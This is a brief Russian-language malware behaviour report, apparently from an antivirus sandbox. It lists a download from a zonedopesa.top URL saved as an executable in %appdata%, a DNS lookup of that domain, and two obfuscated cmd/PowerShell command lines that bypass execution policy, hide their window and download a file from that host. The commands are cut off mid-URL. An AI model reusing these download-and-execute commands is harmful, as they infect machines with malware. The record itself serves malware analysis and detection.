Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "p^ow^ers^h^e^lL.^e^XE -eXECu^ti^onp^oLI^c^y ^b^YPass -No^pROfiLe -WiN^D^Ow^STYLE HId^DeN (^n^EW-o^bj^ect^ sYstEm.^NET.^WEbc^li^En^t^)^.d^Ow^nL^oadFIL^E^(^'http://www.zone...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "p^ow^ers^h^e^lL.^e^XE -eXECu^ti^onp^oLI^c^y ^b^YPass -No^pROfiLe -WiN^D^Ow^STYLE HId^DeN (^n^EW-o^bj^ect^ sYstEm.^NET.^WEbc^li^En^t^)^.d^Ow^nL^oadFIL^E^(^'http://www.zone...' (со скрытым окном)